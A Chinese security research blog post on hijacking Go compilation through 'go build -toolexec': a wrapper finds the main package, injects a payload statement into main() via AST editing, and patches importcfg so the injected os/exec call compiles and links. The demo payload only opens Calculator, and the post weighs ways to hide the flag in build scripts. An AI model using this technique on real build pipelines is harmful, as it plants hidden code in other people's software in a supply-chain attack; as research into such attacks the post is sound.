劫持 Golang 编译
本文首发于 Seebug
前段时间学习了 0x7F 师傅的「dll 劫持和应用」,其中提到通过 dll 劫持来劫持编译器实现供应链攻击,不由想到 Go 中的一些机制也可以方便地实现编译劫持,于是做了一些研究和测试。
编译过程
首先我们了解一下 go build
做了什么。
package main
func main() {
print("i'm testapp!")
}
以这个简单的程序为例,go build -x main.go
编译并输出编译过程(篇幅有限所以没有强制重新编译最基础的依赖):
上述命令可以将编译过程概括为:
- 创建临时目录
- 生成 compile 需要的配置文件,运行 compile 编译出目标文件
***.a
(还有其他编译工具执行类似的操作) - 写入 build id
- 重复 2、3 步编译所有依赖
- 生成 link 需要的配置文件,运行 link 将上述目标文件连接成可执行文件
- 写入 build id
- 将链接好的可执行文件移动到当前目录,删除临时目录
观察这段命令能够发现一些有趣的地方。
每个编译阶段都有单独的工具程序负责,例如 compile、link、asm,这些工具程序可以通过 go tool
获得,其中用于编译的暂且称之为编译工具。
命令中有大段形如 packagefile xxx/xxx=xxx.a
的内容,用于指明代码中依赖和目标文件的对应关系,这些对应关系将写入 importcfg/importcfg.link
作为 compile/link 的配置文件。
另外,还可以发现创建了形如 $WORK/b001
的临时目录。go build
在运行编译工具前会解析出全部的依赖关系,根据依赖关系对每个包创建相应的 action,最终构成 action graph,按序执行即可完成编译,每个 action 对应一个临时目录。例如使用 go build -a -work
(-a
表示强制重新编译,-work
表示保留临时目录)编译一个程序:
由图可以看到各个 action 使用的临时目录,如 b062 存放了编译配置文件 importcfg
和编译出的目标文件 _pkg_.a
,而最后一个 action 对应的 b001 目录,除了编译的临时文件,还有链接配置 importcfg.link
和链接结果 exe/a.out
。
综上,我们可以总结出几个关键信息:
go build
的主要工作:分析依赖,把源代码编译成目标文件,把目标文件链接成可执行文件- 目标文件、配置文件存放在临时目录中(b001 是最后一个,也是可执行文件的诞生地),临时目录可以通过
-work
参数保留 - 调用编译工具实现不同阶段的编译工作
- 后 action 需要依赖前 action 的结果
可以感受到编译过程是较为“分散”的,这给我们创造了机会:
- 编译工具是开源的,可以对其修改并替换进
go env GOTOOLDIR
目录 - 利用
go build -toolexec
机制
这两种方法的思路大致相同,本文尝试了第二种思路。
劫持编译
前段时间研究代码混淆时学习到了 go build
的 -toolexec
机制,这里粘贴一下相关内容:
细心的读者可能会发现一个有趣的问题:拼接的命令中真正的运行对象并不是编译工具,而是
cfg.BuildToolexec
。跟进到定义处可知它是由go build -toolexec
参数设置的,官方释义为:-toolexec 'cmd args' a program to use to invoke toolchain programs like vet and asm. For example, instead of running asm, the go command will run 'cmd args /path/to/asm <arguments for asm>'.
即用
-toolexec
指定的程序来运行编译工具。这其实可以看作是一个 hook 机制,利用这个参数来指定一个我们的程序,在编译时用这个程序调用编译工具,从而介入编译过程
所以我们的目标是实现一个类似 garble 的工具,暂且称之为 wrapper,在项目的编译脚本或其他存在编译命令的地方插入 -toolexec "/path/to/wrapper"
,运行编译命令时 wrapper 要找到一个合适的位置(暂定为 main.main()
的顶部)插入 paylaod。
首先要定位到目标代码文件。
/path/to/wrapper /opt/homebrew/Cellar/go/1.17.2/libexec/pkg/tool/darwin_arm64/compile -o $WORK/b042/_pkg_.a -trimpath "$WORK/b042=>" -shared -p strings -std -complete -buildid ygbMG98G6g0UHH5pai26/ygbMG98G6g0UHH5pai26 -goversion go1.17.2 -importcfg $WORK/b042/importcfg -pack /opt/homebrew/Cellar/go/1.17.2/libexec/src/strings/builder.go /opt/homebrew/Cellar/go/1.17.2/libexec/src/strings/compare.go
...(省略)
这是一条 go build -toolexec "/path/to/wrapper"
执行的命令,compile 的目标代码文件路径拼接在最后。提取出文件路径后,根据文件内容判断是否是 main.main()
所在文件,方法有很多,例如直接匹配是否以 package main
开头且存在 func main(){
,更严谨一点可以解析出 AST,通过下图几个特征来判断:
因为一条编译命令包含的文件都属于一个包,所以只要有一个文件不符合要求就可以放弃后续筛选了。
综上,第一步可以通过如下条件筛选:
- 调用的工具是 compile
- 文件是
.go
后缀 - AST 中包名是 main,且 Decls 中存在名为 main 的
ast.FuncDecl
定位到了目标代码文件,下一步通过修改 AST 来插入 payload。
根据上一步中的 AST 图,main()
中的每条语句解析成 AST 节点是 ast.Stmt
接口类型,存放于 Body.List
中,所以参照具体 stmt 的格式构造 AST 节点,如:
var cmd = `exec.Command("open", "/System/Applications/Calculator.app").Run()`
payloadExpr, err := parser.ParseExpr(cmd)
// handle err
payloadExprStmt := &ast.ExprStmt{
X: payloadExpr,
}
向 main()
的 Body.List
插入 payload 的节点:
// 方式1
ast.Inspect(f, func(n ast.Node) bool {
switch x := n.(type) {
case *ast.FuncDecl:
if x.Name.Name == "main" && x.Recv == nil {
stmts := make([]ast.Stmt, 0, len(x.Body.List)+1)
stmts = append(stmts, payloadExprStmt)
stmts = append(stmts, x.Body.List...)
x.Body.List = stmts
return false
}
}
return true
})
// 方式2
pre := func(cursor *astutil.Cursor) bool {
switch cursor.Node().(type) {
case *ast.FuncDecl:
if fd := cursor.Node().(*ast.FuncDecl); fd.Name.Name == "main" && fd.Recv == nil {
return true
}
return false
case *ast.BlockStmt:
return true
case ast.Stmt:
if _, ok := cursor.Parent().(*ast.BlockStmt); ok {
cursor.InsertBefore(payloadExprStmt)
}
}
return true
}
post := func(cursor *astutil.Cursor) bool {
if _, ok := cursor.Parent().(*ast.BlockStmt); ok {
return false
}
return true
}
f = astutil.Apply(f, pre, post).(*ast.File)
最后将修改好的 AST 保存为文件,替换原始编译命令中的文件地址,执行命令。
简简单单,到这里似乎顺利完成,但测试一下会出现报错无法找到 os/exec
:
/var/folders/z5/1_qfr0f55x97c63p412hprzw0000gn/T/gobuild_cache_1747406166/main.go:5:2: could not import "os/exec": open : no such file or directory
回想一下前文「编译过程」部分的内容,在编译和链接阶段都需要使用其依赖包在先前编译出的目标文件,并且依赖分析和 action graph 的构建是 go build
在运行编译工具前完成的,无法通过 -toolexec
劫持。所以向 AST 中 的 import 节点插入依赖并不会修改已有的依赖关系和 action graph,导致没有 os/exec
的目标文件可用。
既然 action graph 中缺少 os/exec
及其依赖,那我们可以自行完成缺少的 action,即编译出相应的目标文件并添加到 importcfg。
对比 importctg 发现间接依赖比想象中的多,但好在都记录在 importcfg 中,所以我们创建一个新的 go build
编译一段简化的 payload:
package main
import "os/exec"
func main() {
exec.Command("xxx").Run()
}
添加 -work
参数保留这次编译的临时目录,读取临时目录 b001 中的 importcfg 获得 os/exec
的依赖的目标文件路径,将这些配置项按需追加到原 importcfg。
再次尝试,可以看到 payload 成功插入。
另外,可以看到上述测试都使用了 -a
参数,是由于 go build
存在缓存和增量编译机制,正常 go build
可能因命中缓存而不会调用工具,所以要添加 -a
参数强制编译所有依赖,或者编译前 go clean -cache
清除缓存,或是修改环境变量 GOCACHE 到一个新的目录。
最后,梳理一下上述步骤:
- compile 时
- 定位目标文件
- 编译一个简化的 payload 得到 importcfg 和其依赖的中间文件
- 补充
importcfg
- 在 AST 中插入 payload,保存到临时文件
- 修改原编译命令中的文件路径,执行编译命令
- link 时
- 定位目标文件
- 补充
importcfg.link
- 执行链接命令
总结
本文实践的方案利用了 go build
的 -toolexec
机制让工具介入编译过程,在临时文件中插入 payload。
从实际应用的角度来说还存在很多问题,例如如何隐蔽地在编译脚本中插入 -toolexec
和 -a
参数。在没有合适的伪装手段时,按照本文思路修改并替换编译工具 compile 和 link 或许是更好的选择。
本文相关代码存放在 go-build-hijacking,后续有好的思路会继续补充,欢迎师傅们通过 issue 或邮件交流。